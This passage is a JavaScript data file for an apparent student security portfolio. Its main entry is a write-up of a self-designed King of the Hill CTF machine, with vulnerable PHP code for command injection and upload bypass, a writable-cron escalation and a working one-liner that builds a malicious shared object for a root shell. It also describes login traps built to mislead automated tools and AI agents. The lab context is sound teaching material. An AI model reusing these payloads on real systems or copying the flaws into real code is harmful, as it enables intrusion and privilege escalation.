confidence level.", ], outcomes: ["WIP — tool under development."], learned: "SPF alone doesn't prevent spoofing — without DMARC enforcement, a failing SPF check is just advisory. Understanding the full authentication chain is what separates real analysis from checkbox security. Adding AI as a second opinion layer catches the social-engineering patterns that pure technical checks can't see.", artifacts: ["Python analyzer script", "Sample triage reports", "LLM prompt template"], }, }, { id: "p11", title: "Earth Observatory — KOTH CTF Machine Design", kind: "Challenge Design", category: "blue", tags: ["PHP", "Linux", "Command Injection", "File Upload Bypass", "Privilege Escalation", "CTF"], blurb: "Designed and built a King of the Hill CTF machine for HackTheBay 2026 at USF — a multi-path Linux box with command injection, file upload bypass, anti-bot login defenses, and two distinct privilege escalation routes to root.", role: "Solo — full machine design, vulnerable app, and privesc chains.", detail: { objective: "Build a realistic, multi-path CTF machine for a live competition at USF. The box needed to support multiple concurrent attackers in a King of the Hill format, with enough depth to challenge experienced players while remaining approachable for beginners who enumerate carefully.", approach: [ "Built a themed PHP web application (Earth Observatory Portal) with a public-facing site, employee login, admin dashboard, data query page, and file upload functionality.", "Designed two independent attack paths to initial access: an authenticated file upload bypass via flawed filename sanitization, and an unauthenticated command injection via unsanitized shell_exec input on the data query page.", "Implemented anti-bot and anti-AI defenses on the login page: honeypot form fields with standard names (username/password) that silently reject, real fields with non-obvious names (usr_field/auth_key), a fake JavaScript base64 encoding trap targeting the honeypot, a misleading HTML comment pointing to a nonexistent API endpoint, and an image CAPTCHA.", "Built two privilege escalation chains: a group-writable cron script running as root (for players who pivot through a compromised user), and a SUID binary with a missing shared object in a world-writable RUNPATH directory (for players who stay as www-data).", "Set up anonymous FTP with reconnaissance files (username wordlist + default password hint) as the intended entry point for Path 1.", "Deployed on a Linux VM with setup scripts for users, FTP, web server, and both privesc conditions.", ], outcomes: [ "Machine ran successfully during HackTheBay 2026 with multiple teams competing simultaneously.", "Both attack paths were discovered and exploited by participants during the event.", "Anti-bot defenses successfully slowed automated tooling, requiring manual browser inspection to identify real form fields.", ], learned: "Designing a CTF machine teaches offense differently than solving one. You have to think about what signals each vulnerability leaks, how obvious each breadcrumb is, and whether the difficulty comes from skill or from guessing. The anti-bot login was the most interesting design problem — making it trivial for a human with DevTools but resistant to scripts and AI.", artifacts: ["Full PHP web application source", "Setup scripts (users, FTP, privesc)", "Official writeup"], sections: [ { heading: "Attack surface overview", content: [ { type: "paragraph", text: "The machine exposes three services: HTTP (Apache + PHP), FTP (vsftpd with anonymous access), and SSH. The web application is a themed Earth Observatory portal with public pages, an employee login, and an authenticated dashboard. There are two independent paths to a shell and two independent paths from shell to root." }, { type: "list", ordered: false, items: [ "Path 1: FTP recon → brute-force login → authenticated file upload bypass → RCE → writable cron script → root", "Path 2: Command injection on public data page → RCE → SUID shared object hijacking → root", ], }, ], }, { heading: "Vulnerability 1 — Command injection (data.php)", content: [ { type: "paragraph", text: "The data query page passes user input directly into a shell command via shell_exec(). The filter blocks $, backticks, {, and } — but allows semicolons, pipes, and parentheses, making it trivial to chain commands." }, { type: "code", title: "Vulnerable code — data.php (simplified)", code: `// User input from URL parameter\n$querySource = $_GET['source'];\n\n// Incomplete filter — blocks $ \` { } but allows ; | ( )\n$blocked = array('$', '\`', '{', '}');\n$querySource = str_replace($blocked, '', $querySource);\n\n// Unsanitized input passed directly to shell_exec\n$cmd = "/usr/bin/cat " . escapeshellarg($csvPath)\n . " | /usr/bin/grep -i '" . $querySource . "' 2>&1";\n$output = shell_exec($cmd);`, }, { type: "paragraph", text: "The input is interpolated directly into the grep command inside single quotes. An attacker breaks out of the quotes with a closing ', chains a command with ;, and comments out the trailing quote with #. The escapeshellarg on $csvPath is irrelevant — the injection point is $querySource." }, ], }, { heading: "Vulnerability 2 — File upload bypass (upload.php)", content: [ { type: "paragraph", text: "The upload handler checks the final file extension against a whitelist and validates the Content-Type header — but its filename sanitization uses str_replace to strip dangerous strings, which can be trivially bypassed by nesting the blocked string inside itself." }, { type: "code", title: "Vulnerable sanitization — upload.php", code: `// Extension whitelist (checks final extension only)\n$fileExtension = strtolower(pathinfo($fileName, PATHINFO_EXTENSION));\nif (!in_array($fileExtension, ['jpg','jpeg','png','gif'])) {\n // reject\n}\n\n// Flawed sanitization — strips 'php' but only once\n$dangerousStrings = array('php', 'phtml', 'phar', 'phps', 'pht');\n$sanitizedName = str_replace($dangerousStrings, '', $fileName);\n\n// File saved with sanitized name\n$destPath = $uploadBase . basename($sanitizedName);\nmove_uploaded_file($fileTmpPath, $destPath);`, }, { type: "paragraph", text: "Bypass: upload shell.pphphp.gif — the sanitizer strips the inner 'php', leaving shell.php.gif. Apache processes this as PHP because of the .php in the filename. Combined with a Content-Type of image/gif, the upload passes all checks." }, ], }, { heading: "Anti-bot login design", content: [ { type: "paragraph", text: "The login page was designed to be easy for humans using browser DevTools but resistant to automated scripts and AI assistants. Four layers of misdirection work together:" }, { type: "list", ordered: true, items: [ "Honeypot fields: Two hidden inputs with standard names (username, password) appear first in the DOM. Bots and AI target these — the server silently rejects any submission where they're filled.", "Real fields use non-obvious names: The actual inputs are named usr_field and auth_key. A human inspecting with DevTools finds them immediately.", "Fake JavaScript encoding: A submit handler base64-encodes the honeypot password field (passField.value = btoa(passField.value)). AI that reads the JS applies the encoding to the wrong field.", "Misleading HTML comment: suggests a JSON API that doesn't exist — AI sends requests to a 404.", ], }, { type: "code", title: "Honeypot vs. real fields — login.php", code: `\n\n\n
\n \n \n \n\n \n
\n \n \n
\n
\n\n`, }, { type: "paragraph", text: "Server-side: if the honeypot fields (username/password) contain any data, the login is silently rejected with a generic error — no indication that the wrong fields were used." }, ], }, { heading: "Privesc 1 — Writable cron script", content: [ { type: "paragraph", text: "A cron job runs /opt/observatory/scripts/db_sync.sh as root every 3 minutes. The script is owned by root:researchers and is group-writable — any user in the researchers group (including jmiller) can overwrite it." }, { type: "code", title: "Cron configuration", code: `# /etc/cron.d/observatory-sync\n*/3 * * * * root /opt/observatory/scripts/db_sync.sh\n\n# Permissions: -rwxrwxr-x 1 root researchers\n# jmiller is in the researchers group`, }, { type: "paragraph", text: "Exploitation: overwrite the script with a SUID backdoor payload, wait up to 3 minutes, then execute the backdoor with -p to retain privileges." }, ], }, { heading: "Privesc 2 — SUID shared object hijacking", content: [ { type: "paragraph", text: "A SUID root binary (/opt/observatory/bin/earth-monitor) loads libearth.so via RUNPATH — but the library doesn't exist on disk, and the RUNPATH directory (/opt/observatory/lib/) is world-writable." }, { type: "code", title: "SUID binary source — earth-monitor.c", code: `#include \n#include \n\n/* Provided by libearth.so (RUNPATH: /opt/observatory/lib) */\nextern void check_sensors(void);\n\nint main(int argc, char *argv[]) {\n printf("Earth Observatory Monitoring System v2.1\\n");\n printf("[*] Initializing sensor array...\\n");\n check_sensors(); // loaded from RUNPATH at runtime\n printf("[*] Monitoring cycle complete.\\n");\n return 0;\n}`, }, { type: "paragraph", text: "Exploitation: compile a malicious libearth.so that implements check_sensors() with setresuid(0,0,0) + execve(\"/bin/bash\"), place it in /opt/observatory/lib/, and run the SUID binary. The dynamic linker loads the attacker's library, granting an immediate root shell." }, { type: "code", title: "Malicious shared object — one-liner", code: `echo '#define _GNU_SOURCE\n#include \nvoid check_sensors() {\n setresuid(0,0,0);\n setresgid(0,0,0);\n char *a[] = {"/bin/bash","-p","-i",0};\n execve(a[0],a,0);\n}' | gcc -x c -fPIC -shared -o /opt/observatory/lib/libearth.so -`, }, ], }, ], }, }, ], competitions: [ { name: "NCAE Cyber Games 2026", role: "Team CyberHerd", result: "2nd Place", category: "Blue" }, { name: "MITRE eCTF 2026", role: "Team CyberHerd", result: "Hardware & Firmware Exploitation", category: "CTF" }, { name: "HackTheBox CTF@USF — Spring 2026", role: "Team CyberHerd", result: "3rd Place · 13/15 Flags", category: "CTF" }, { name: "ReliaQuest Defense CTF", role: "Team CyberHerd", result: "Non-ranked", category: "SOC" }, ], upcomingCompetitions: [ { name: "Hack Space Con 2026", role: "Team CyberHerd", category: "CTF / Conference Competition" }, { name: "Global Collegiate Penetration Testing Competition (CPTC)", role: "Team CyberHerd", category: "Penetration Testing" }, ], skills: { Offense: ["Burp Suite", "Metasploit", "Nmap", "Netcat", "Gobuster", "ffuf", "SQLmap", "Hydra"], "Reverse Eng": ["Ghidra", "IDA Pro", "x64dbg", "Cheat Engine", "WinDbg"], "Defense / Blue": ["Splunk", "Wazuh", "Sysmon", "Wireshark", "Volatility", "CyberChef"], Code: ["Python", "C / C++", "C#", "PowerShell", "Bash"], Tools: ["VS Code", "Linux", "Windows", "VMware", "Docker", "Process Monitor"], }, // CTF stats — placeholder numbers, marked clearly ctfStats: { eventsPlayed: 6, challengesSolved: 84, categoryMix: [ { name: "Web", pct: 28 }, { name: "Rev", pct: 24 }, { name: "Pwn", pct: 14 }, { name: "Crypto", pct: 12 }, { name: "Forensics", pct: 14 }, { name: "OSINT", pct: 8 }, ], recent: [ { event: "Collegiate Jeopardy CTF", placement: "Team event", note: "Web + Forensics solves" }, { event: "Blue Team Competition", placement: "Defender", note: "Held domain controllers" }, { event: "SOC-style CTF", placement: "Analyst", note: "Triage + alert tuning" }, ], }, }; // Project display order: grey (game-hacking) → red → blue const _PROJECT_ORDER = ['p4','p5','p7','p6','p9','p10','p2','p1','p11','p8','p3']; RESUME.projects.sort((a, b) => { const ai = _PROJECT_ORDER.indexOf(a.id); const bi = _PROJECT_ORDER.indexOf(b.id); return (ai === -1 ? 999 : ai) - (bi === -1 ? 999 : bi); }); const _htbUsf = RESUME.competitions.find(c => c.name.includes('HackTheBox CTF@USF')); if (_htbUsf) { _htbUsf.name = 'HackTheBox CTF@USF - Spring 2026'; _htbUsf.role = 'Individual Competitor'; _htbUsf.result = '3rd Place - 13/15 Flags'; } window.RESUME = RESUME;